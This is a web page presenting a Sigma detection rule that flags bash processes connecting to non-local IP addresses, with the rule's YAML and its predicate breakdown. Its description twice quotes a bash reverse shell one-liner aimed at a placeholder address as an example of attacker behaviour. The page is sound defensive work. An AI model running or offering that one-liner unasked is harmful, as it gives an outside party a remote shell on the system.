Detection rules › Sigma

Linux Reverse Shell Indicator

Status
test
Severity
critical
Log source
product linux, category network_connection
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

MITRE ATT&CK coverage

Event coverage

Rule body yaml

title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    Image|endswith: '/bin/bash'

Stage 2: not filter

filter:
    DestinationIp:
        - '127.0.0.1'
        - '0.0.0.0'

Exclusions

Top-level NOT(...) conjuncts: predicates this rule actively suppresses.

FieldKindExcluded values
DestinationIpeq0.0.0.0
DestinationIpeq127.0.0.1

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
Imageends_with
  • /bin/bash